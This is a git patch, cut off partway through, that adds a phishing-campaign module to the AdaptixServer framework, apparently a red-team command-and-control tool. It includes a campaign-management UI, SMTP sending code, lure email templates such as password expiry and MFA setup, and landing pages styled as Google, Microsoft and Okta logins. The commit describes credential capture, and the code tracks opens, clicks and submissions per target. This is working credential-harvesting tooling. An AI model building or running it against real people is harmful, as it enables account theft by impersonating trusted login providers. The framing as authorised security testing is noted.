From e31f123c7ea36bd87b20e291c21e4142d945b672 Mon Sep 17 00:00:00 2001 From: "esteban.plana" Date: Sat, 23 May 2026 11:20:01 +0200 Subject: [PATCH] feat: add phishing service extender Phishing campaign management service with: - 6 email templates (password expiry, shared document, helpdesk, etc.) - 4 landing pages (Google, Microsoft, Okta, default) - Campaign tracking with click/submit analytics - Credential capture and reporting --- .../extenders/phishing_service/Makefile | 10 + .../extenders/phishing_service/ax_config.axs | 756 ++++++++++++++++++ .../extenders/phishing_service/config.yaml | 5 + .../extenders/phishing_service/go.mod | 5 + .../extenders/phishing_service/go.sum | 2 + .../landers/default_login.html | 116 +++ .../landers/google_login.html | 73 ++ .../landers/microsoft_login.html | 77 ++ .../phishing_service/landers/okta_login.html | 76 ++ .../extenders/phishing_service/pl_campaign.go | 643 +++++++++++++++ .../extenders/phishing_service/pl_data.go | 261 ++++++ .../extenders/phishing_service/pl_main.go | 151 ++++ .../extenders/phishing_service/pl_tracker.go | 253 ++++++ .../templates/default_email.html | 54 ++ .../templates/helpdesk_ticket.html | 62 ++ .../phishing_service/templates/mfa_setup.html | 65 ++ .../templates/password_expiry.html | 61 ++ .../templates/shared_document.html | 64 ++ .../templates/voicemail_notification.html | 72 ++ AdaptixServer/go.work | 1 + AdaptixServer/profile.yaml | 1 + 21 files changed, 2808 insertions(+) create mode 100644 AdaptixServer/extenders/phishing_service/Makefile create mode 100644 AdaptixServer/extenders/phishing_service/ax_config.axs create mode 100644 AdaptixServer/extenders/phishing_service/config.yaml create mode 100644 AdaptixServer/extenders/phishing_service/go.mod create mode 100644 AdaptixServer/extenders/phishing_service/go.sum create mode 100644 AdaptixServer/extenders/phishing_service/landers/default_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/google_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/microsoft_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/okta_login.html create mode 100644 AdaptixServer/extenders/phishing_service/pl_campaign.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_data.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_main.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_tracker.go create mode 100644 AdaptixServer/extenders/phishing_service/templates/default_email.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/mfa_setup.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/password_expiry.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/shared_document.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile new file mode 100644 index 000000000..5380772a0 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/Makefile @@ -0,0 +1,10 @@ +all: clean + @ echo " * Building phishing service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ cp -r templates landers ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs new file mode 100644 index 000000000..e7b8f6895 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/ax_config.axs @@ -0,0 +1,756 @@ +/// Phishing Service - UI + +let campaignsDock = null; +let resultsDock = null; +let campaignsTable = null; +let resultsTable = null; +let campaignFilter = null; +let campaignsData = []; +let allResults = {}; +let activePreview = null; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createCampaignsDock(); + createResultsDock(); + loadInitialData(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "campaigns") { + campaignsData = json.data || []; + refreshCampaignsTable(); + } + else if (msgType === "targets") { + showTargetsDialog(json.data.campaign_id, json.data.targets || []); + } + else if (msgType === "results") { + let cid = json.data.campaign_id; + allResults[cid] = json.data.results || []; + refreshResultsTable(); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Phishing Error", json.message); + } + else if (msgType === "templates") { + cachedTemplates = json.data || []; + } + else if (msgType === "landers") { + cachedLanders = json.data || []; + } + else if (msgType === "preview") { + if (activePreview) { + activePreview.setHtml(json.data.html); + } + } + else if (msgType === "export") { + let filename = "phishing_results_" + json.data.campaign_id + ".csv"; + let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)"); + if (path) { + ax.file_write_text(path, json.data.csv, false); + } + } + } catch (e) { + ax.log_error("Phishing: parse error: " + e); + } +} + +// ============================================================================ +// Campaigns Dock +// ============================================================================ + +let cachedTemplates = []; +let cachedLanders = []; + +function createCampaignsDock() { + campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnNew = form.create_button("New Campaign"); + let btnStart = form.create_button("Start"); + let btnStop = form.create_button("Stop"); + let btnDelete = form.create_button("Delete"); + let btnTargets = form.create_button("Targets"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnNew); + toolbar.addWidget(btnStart); + toolbar.addWidget(btnStop); + toolbar.addWidget(btnTargets); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]); + campaignsTable.setSortingEnabled(true); + campaignsTable.setReadOnly(true); + mainLayout.addWidget(campaignsTable); + + campaignsDock.setLayout(mainLayout); + campaignsDock.setSize(900, 400); + campaignsDock.show(); + + // Signals + form.connect(btnNew, "clicked", function() { + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + // Small delay to let templates/landers load before showing dialog + event.on_timeout(function() { showNewCampaignDialog(); }, 1); + }); + + form.connect(btnStart, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) { + ax.service_command("Phishing", "campaign_start", {id: cid}); + } + } + }); + + form.connect(btnStop, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "campaign_stop", {id: cid}); + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) { + ax.service_command("Phishing", "campaign_delete", {id: cid}); + } + } + }); + + form.connect(btnTargets, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "targets_list", {campaign_id: cid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadInitialData(); + }); + + form.connect(campaignsTable, "cellDoubleClicked", function(row, col) { + let cid = getCampaignIDByRow(row); + if (cid) { + ax.service_command("Phishing", "results_list", {campaign_id: cid}); + } + }); +} + +function refreshCampaignsTable() { + if (!campaignsTable) return; + + campaignsTable.setRowCount(0); + if (!campaignsData) return; + + for (let i = 0; i < campaignsData.length; i++) { + let c = campaignsData[i]; + let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : ""; + campaignsTable.addItem([ + c.name || "", + c.status || "", + String(c.total_targets || 0), + String(c.sent || 0), + String(c.opened || 0), + String(c.clicked || 0), + String(c.submitted || 0), + String(c.errors || 0), + c.created_by || "" + ]); + } + + // Update filter combo in results dock + updateCampaignFilter(); +} + +function getCampaignIDByRow(row) { + if (!campaignsData || row < 0 || row >= campaignsData.length) return null; + return campaignsData[row].id; +} + +// ============================================================================ +// New Campaign Dialog +// ============================================================================ + +function showNewCampaignDialog() { + let dialog = form.create_dialog("New Phishing Campaign"); + dialog.setSize(920, 700); + + // ======================= Form fields ======================= + + let txtName = form.create_textline(""); + txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept"); + let txtSubject = form.create_textline(""); + txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours"); + let txtSenderEmail = form.create_textline(""); + txtSenderEmail.setPlaceholder("it-security@contoso.com"); + let txtSenderName = form.create_textline(""); + txtSenderName.setPlaceholder("IT Service Desk"); + + let txtSmtpHost = form.create_textline(""); + txtSmtpHost.setPlaceholder("smtp.gmail.com"); + let spinSmtpPort = form.create_spin(); + spinSmtpPort.setRange(1, 65535); + spinSmtpPort.setValue(587); + let txtSmtpUser = form.create_textline(""); + txtSmtpUser.setPlaceholder("relay@yourdomain.com"); + let txtSmtpPass = form.create_textline(""); + txtSmtpPass.setPlaceholder("App password or SMTP credential"); + let chkSmtpTLS = form.create_check("Enable TLS"); + chkSmtpTLS.setChecked(true); + + let cmbTemplate = form.create_combo(); + let cmbLander = form.create_combo(); + if (cachedTemplates && cachedTemplates.length > 0) { + for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]); + } + if (cachedLanders && cachedLanders.length > 0) { + for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]); + } + + let txtBaseURL = form.create_textline(""); + txtBaseURL.setPlaceholder("https://portal-auth.contoso.com"); + let txtRedirectURL = form.create_textline("https://login.microsoftonline.com"); + let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)"); + chkTrackOpens.setChecked(true); + let chkTrackClicks = form.create_check("Track link clicks (redirect through server)"); + chkTrackClicks.setChecked(true); + let spinDelay = form.create_spin(); + spinDelay.setRange(0, 300); + spinDelay.setValue(3); + + // Preview browser + let previewBrowser = form.create_textbrowser(); + activePreview = previewBrowser; + + // ======================= Layout ======================= + + let pageLayout = form.create_vlayout(); + + // --- Campaign Identity --- + let identGrid = form.create_gridlayout(); + identGrid.addWidget(form.create_label("Name *"), 0, 0); + identGrid.addWidget(txtName, 0, 1); + identGrid.addWidget(form.create_label("Subject *"), 1, 0); + identGrid.addWidget(txtSubject, 1, 1); + + let identInner = form.create_panel(); + identInner.setLayout(identGrid); + let grpIdent = form.create_groupbox("Campaign Identity", false); + grpIdent.setPanel(identInner); + pageLayout.addWidget(grpIdent); + + // --- Sender --- + let senderGrid = form.create_gridlayout(); + senderGrid.addWidget(form.create_label("Email *"), 0, 0); + senderGrid.addWidget(txtSenderEmail, 0, 1); + senderGrid.addWidget(form.create_label("Display Name"), 1, 0); + senderGrid.addWidget(txtSenderName, 1, 1); + + let senderInner = form.create_panel(); + senderInner.setLayout(senderGrid); + let grpSender = form.create_groupbox("Sender (From)", false); + grpSender.setPanel(senderInner); + pageLayout.addWidget(grpSender); + + // --- SMTP Server --- + let smtpGrid = form.create_gridlayout(); + smtpGrid.addWidget(form.create_label("Host *"), 0, 0); + smtpGrid.addWidget(txtSmtpHost, 0, 1); + smtpGrid.addWidget(form.create_label("Port"), 1, 0); + let portRow = form.create_hlayout(); + portRow.addWidget(spinSmtpPort); + portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain")); + let portPanel = form.create_panel(); + portPanel.setLayout(portRow); + smtpGrid.addWidget(portPanel, 1, 1); + smtpGrid.addWidget(form.create_label("Username"), 2, 0); + smtpGrid.addWidget(txtSmtpUser, 2, 1); + smtpGrid.addWidget(form.create_label("Password"), 3, 0); + smtpGrid.addWidget(txtSmtpPass, 3, 1); + smtpGrid.addWidget(chkSmtpTLS, 4, 1); + + let smtpInner = form.create_panel(); + smtpInner.setLayout(smtpGrid); + let grpSmtp = form.create_groupbox("SMTP Server", false); + grpSmtp.setPanel(smtpInner); + pageLayout.addWidget(grpSmtp); + + // --- Content & Preview (splitter) --- + let contentGrid = form.create_gridlayout(); + contentGrid.addWidget(form.create_label("Email Template"), 0, 0); + contentGrid.addWidget(cmbTemplate, 0, 1); + contentGrid.addWidget(form.create_label("Landing Page"), 1, 0); + contentGrid.addWidget(cmbLander, 1, 1); + + // Template descriptions table + let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]); + tplDesc.setReadOnly(true); + tplDesc.setSortingEnabled(false); + tplDesc.setHeadersVisible(true); + tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]); + tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]); + tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]); + tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]); + tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]); + tplDesc.addItem(["default_email", "Generic document review", "default_login"]); + + // Left side: combos + reference table + let leftLayout = form.create_vlayout(); + let contentGridPanel = form.create_panel(); + contentGridPanel.setLayout(contentGrid); + leftLayout.addWidget(contentGridPanel); + leftLayout.addWidget(tplDesc); + + let leftPanel = form.create_panel(); + leftPanel.setLayout(leftLayout); + + // Right side: HTML preview + let rightLayout = form.create_vlayout(); + rightLayout.addWidget(form.create_label("Preview")); + rightLayout.addWidget(previewBrowser); + + let rightPanel = form.create_panel(); + rightPanel.setLayout(rightLayout); + + // Splitter: left controls | right preview + let contentSplitter = form.create_hsplitter(); + contentSplitter.addPage(leftPanel); + contentSplitter.addPage(rightPanel); + contentSplitter.setSizes([320, 540]); + + let contentSplitLayout = form.create_vlayout(); + contentSplitLayout.addWidget(contentSplitter); + + let contentInner = form.create_panel(); + contentInner.setLayout(contentSplitLayout); + let grpContent = form.create_groupbox("Content & Preview", false); + grpContent.setPanel(contentInner); + pageLayout.addWidget(grpContent); + + // Connect combos to preview + form.connect(cmbTemplate, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text}); + }); + form.connect(cmbLander, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text}); + }); + + // Load initial preview for the first selected template + if (cmbTemplate.currentText()) { + ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()}); + } + + // --- Tracking & Delivery --- + let trackGrid = form.create_gridlayout(); + trackGrid.addWidget(form.create_label("Base URL *"), 0, 0); + trackGrid.addWidget(txtBaseURL, 0, 1); + trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0); + trackGrid.addWidget(txtRedirectURL, 1, 1); + trackGrid.addWidget(chkTrackOpens, 2, 1); + trackGrid.addWidget(chkTrackClicks, 3, 1); + trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0); + let delayRow = form.create_hlayout(); + delayRow.addWidget(spinDelay); + delayRow.addWidget(form.create_label(" Seconds between each email sent")); + let delayPanel = form.create_panel(); + delayPanel.setLayout(delayRow); + trackGrid.addWidget(delayPanel, 4, 1); + + let trackInner = form.create_panel(); + trackInner.setLayout(trackGrid); + let grpTrack = form.create_groupbox("Tracking & Delivery", false); + grpTrack.setPanel(trackInner); + pageLayout.addWidget(grpTrack); + + // --- Spacer at bottom --- + pageLayout.addWidget(form.create_vspacer()); + + // --- Scrollable container --- + let scrollContent = form.create_panel(); + scrollContent.setLayout(pageLayout); + let scrollArea = form.create_scrollarea(); + scrollArea.setPanel(scrollContent); + scrollArea.setWidgetResizable(true); + + let mainLayout = form.create_vlayout(); + mainLayout.addWidget(scrollArea); + dialog.setLayout(mainLayout); + + let accepted = dialog.exec(); + activePreview = null; + + if (accepted === true) { + let campaign = { + name: txtName.text(), + subject: txtSubject.text(), + sender_email: txtSenderEmail.text(), + sender_name: txtSenderName.text(), + smtp_host: txtSmtpHost.text(), + smtp_port: spinSmtpPort.value(), + smtp_user: txtSmtpUser.text(), + smtp_pass: txtSmtpPass.text(), + smtp_tls: chkSmtpTLS.isChecked(), + template: cmbTemplate.currentText(), + lander: cmbLander.currentText(), + base_url: txtBaseURL.text(), + redirect_url: txtRedirectURL.text(), + track_opens: chkTrackOpens.isChecked(), + track_clicks: chkTrackClicks.isChecked(), + send_delay: spinDelay.value() + }; + + if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) { + ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL"); + return; + } + + ax.service_command("Phishing", "campaign_create", campaign); + } +} + +// ============================================================================ +// Targets Dialog +// ============================================================================ + +function showTargetsDialog(campaignID, targets) { + let dialog = form.create_ext_dialog("Targets - Campaign"); + dialog.setSize(700, 500); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + let btnImport = form.create_button("Import CSV"); + let btnDelete = form.create_button("Delete Selected"); + toolbar.addWidget(btnImport); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + + let tgtToolbarPanel = form.create_panel(); + tgtToolbarPanel.setLayout(toolbar); + mainLayout.addWidget(tgtToolbarPanel); + + // Table + let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]); + tgtTable.setSortingEnabled(true); + tgtTable.setReadOnly(true); + + if (targets) { + for (let i = 0; i < targets.length; i++) { + let t = targets[i]; + tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]); + } + } + mainLayout.addWidget(tgtTable); + + dialog.setLayout(mainLayout); + + form.connect(btnImport, "clicked", function() { + let csvDialog = form.create_dialog("Import Targets (CSV)"); + csvDialog.setSize(560, 450); + + let csvLayout = form.create_vlayout(); + csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company")); + csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required.")); + let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n"); + csvLayout.addWidget(csvText); + + let orLabel = form.create_label("Or load from file:"); + csvLayout.addWidget(orLabel); + + let btnFile = form.create_button("Load CSV File"); + csvLayout.addWidget(btnFile); + + form.connect(btnFile, "clicked", function() { + let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)"); + if (path) { + let content = ax.file_read(path); + if (content) { + csvText.setText(content); + } + } + }); + + csvDialog.setLayout(csvLayout); + if (csvDialog.exec() === true) { + let csv = csvText.text(); + if (csv && csv.trim().length > 0) { + ax.service_command("Phishing", "targets_import", { + campaign_id: campaignID, + csv: csv + }); + } + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = tgtTable.selectedRows(); + if (rows.length === 0) return; + + let ids = []; + for (let i = 0; i < rows.length; i++) { + if (targets && rows[i] < targets.length) { + ids.push(targets[rows[i]].id); + } + } + + if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) { + ax.service_command("Phishing", "targets_delete", { + campaign_id: campaignID, + ids: ids + }); + } + }); + + dialog.show(); +} + +// ============================================================================ +// Results Dock +// ============================================================================ + +function createResultsDock() { + resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", ""); + + let mainLayout = form.create_vlayout(); + + // Filter bar + let filterLayout = form.create_hlayout(); + filterLayout.addWidget(form.create_label("Campaign:")); + campaignFilter = form.create_combo(); + campaignFilter.addItem("-- All --"); + filterLayout.addWidget(campaignFilter); + + let btnExport = form.create_button("Export CSV"); + let btnRefresh = form.create_button("Refresh"); + filterLayout.addWidget(form.create_hspacer()); + filterLayout.addWidget(btnExport); + filterLayout.addWidget(btnRefresh); + + let filterPanel = form.create_panel(); + filterPanel.setLayout(filterLayout); + mainLayout.addWidget(filterPanel); + + // Table + resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]); + resultsTable.setSortingEnabled(true); + resultsTable.setReadOnly(true); + mainLayout.addWidget(resultsTable); + + resultsDock.setLayout(mainLayout); + resultsDock.setSize(1000, 400); + resultsDock.show(); + + // Signals + form.connect(campaignFilter, "currentTextChanged", function(text) { + refreshResultsTable(); + }); + + form.connect(btnExport, "clicked", function() { + let cid = getSelectedCampaignID(); + if (cid) { + ax.service_command("Phishing", "results_export", {campaign_id: cid}); + } else { + ax.show_message("Export", "Please select a specific campaign to export"); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadAllResults(); + }); + + form.connect(resultsTable, "cellDoubleClicked", function(row, col) { + showResultDetail(row); + }); +} + +function updateCampaignFilter() { + if (!campaignFilter) return; + + let current = campaignFilter.currentText(); + campaignFilter.clear(); + campaignFilter.addItem("-- All --"); + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + campaignFilter.addItem(campaignsData[i].name); + } + } + + // Restore selection + for (let i = 0; i < campaignFilter.count; i++) { + if (campaignFilter.itemText && campaignFilter.itemText(i) === current) { + campaignFilter.setCurrentIndex(i); + return; + } + } +} + +function getSelectedCampaignID() { + if (!campaignFilter) return null; + let text = campaignFilter.currentText(); + if (text === "-- All --") return null; + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].name === text) { + return campaignsData[i].id; + } + } + } + return null; +} + +function refreshResultsTable() { + if (!resultsTable) return; + resultsTable.setRowCount(0); + + let filterCampaign = getSelectedCampaignID(); + + for (let cid in allResults) { + if (filterCampaign && cid !== filterCampaign) continue; + + let campaignName = getCampaignNameByID(cid); + let results = allResults[cid]; + if (!results) continue; + + for (let i = 0; i < results.length; i++) { + let r = results[i]; + let name = (r.first_name || "") + " " + (r.last_name || ""); + let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : ""; + let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : ""; + let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : ""; + let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : ""; + + resultsTable.addItem([ + campaignName, + r.email || "", + name.trim(), + r.status || "", + sentAt, + openedAt, + clickedAt, + submitAt, + r.remote_ip || "", + r.user_agent || "" + ]); + } + } +} + +function getCampaignNameByID(id) { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].id === id) return campaignsData[i].name; + } + } + return id; +} + +function showResultDetail(row) { + // Collect result data from the table row for display + let campaign = resultsTable.text(row, 0); + let email = resultsTable.text(row, 1); + let name = resultsTable.text(row, 2); + let status = resultsTable.text(row, 3); + let ip = resultsTable.text(row, 8); + let ua = resultsTable.text(row, 9); + + let detail = "Campaign: " + campaign + "\n" + + "Email: " + email + "\n" + + "Name: " + name + "\n" + + "Status: " + status + "\n" + + "IP: " + ip + "\n" + + "User Agent: " + ua; + + ax.show_message("Result Detail", detail); +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (!data || !data.campaign_id) return; + + let cid = data.campaign_id; + let result = data.result; + + // Update local results cache + if (result && allResults[cid]) { + let found = false; + for (let i = 0; i < allResults[cid].length; i++) { + if (allResults[cid][i].id === result.id) { + allResults[cid][i] = result; + found = true; + break; + } + } + if (!found) { + allResults[cid].push(result); + } + } else if (result && !allResults[cid]) { + allResults[cid] = [result]; + } + + refreshResultsTable(); + + // Also refresh campaign stats + ax.service_command("Phishing", "campaign_list", {}); +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadInitialData() { + ax.service_command("Phishing", "campaign_list", {}); + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + loadAllResults(); +} + +function loadAllResults() { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id}); + } + } +} diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml new file mode 100644 index 000000000..14a844cc4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_phishing.so" +ax_file: "ax_config.axs" +service_name: "Phishing" +service_config: "" diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod new file mode 100644 index 000000000..8c43b8f3d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_phishing + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html new file mode 100644 index 000000000..4bb1379c3 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html @@ -0,0 +1,116 @@ + + + + + +Sign In + + + +
+ + + + +
+ + +
+ + +
+ + +
+ + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/landers/google_login.html b/AdaptixServer/extenders/phishing_service/landers/google_login.html new file mode 100644 index 000000000..b4e911465 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/google_login.html @@ -0,0 +1,73 @@ + + + + + +Sign in - Google Accounts + + + +
+ + +

Welcome

+
+ + +
+ +
+ + +
+ + +
+ + + +
+Create account + +
+
+ + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html new file mode 100644 index 000000000..fa2a0eb87 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html @@ -0,0 +1,77 @@ + + + + + +Sign in to your account + + + +
+ + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/landers/okta_login.html b/AdaptixServer/extenders/phishing_service/landers/okta_login.html new file mode 100644 index 000000000..ef47095cf --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/okta_login.html @@ -0,0 +1,76 @@ + + + + + +Sign In + + + +
+ + + + + + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/pl_campaign.go b/AdaptixServer/extenders/phishing_service/pl_campaign.go new file mode 100644 index 000000000..793147acd --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_campaign.go @@ -0,0 +1,643 @@ +package main + +import ( + "bytes" + "crypto/tls" + "encoding/json" + "fmt" + "math/rand" + "net/smtp" + "os" + "path/filepath" + "strings" + "time" +) + +// ============================================================================ +// Call Handlers +// ============================================================================ + +func (s *PhishingService) HandleCampaignCreate(operator string, args string) { + var c Campaign + if err := json.Unmarshal([]byte(args), &c); err != nil { + s.sendError(operator, "Invalid campaign data: "+err.Error()) + return + } + + c.ID = generateID() + c.Status = "draft" + c.CreatedAt = nowUnix() + c.CreatedBy = operator + + if c.RedirectURL == "" { + c.RedirectURL = "https://login.microsoftonline.com" + } + if c.SendDelay == 0 { + c.SendDelay = 3 + } + + if err := s.SaveCampaign(c); err != nil { + s.sendError(operator, "Failed to save campaign: "+err.Error()) + return + } + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignList(operator string) { + s.sendResponseClient(operator, "campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignDelete(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + s.DeleteCampaign(req.ID) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignStart(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + s.sendError(operator, "Campaign not found") + return + } + + if campaign.Status == "running" { + s.sendError(operator, "Campaign is already running") + return + } + + targets := s.LoadTargets(campaign.ID) + if len(targets) == 0 { + s.sendError(operator, "No targets for this campaign") + return + } + + campaign.Status = "running" + s.SaveCampaign(campaign) + + stopChan := make(chan struct{}) + s.mu.Lock() + s.stopChans[campaign.ID] = stopChan + s.mu.Unlock() + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + + go s.SendCampaign(operator, campaign, targets, stopChan) +} + +func (s *PhishingService) HandleCampaignStop(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + return + } + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsImport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + CSV string `json:"csv"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + existing := 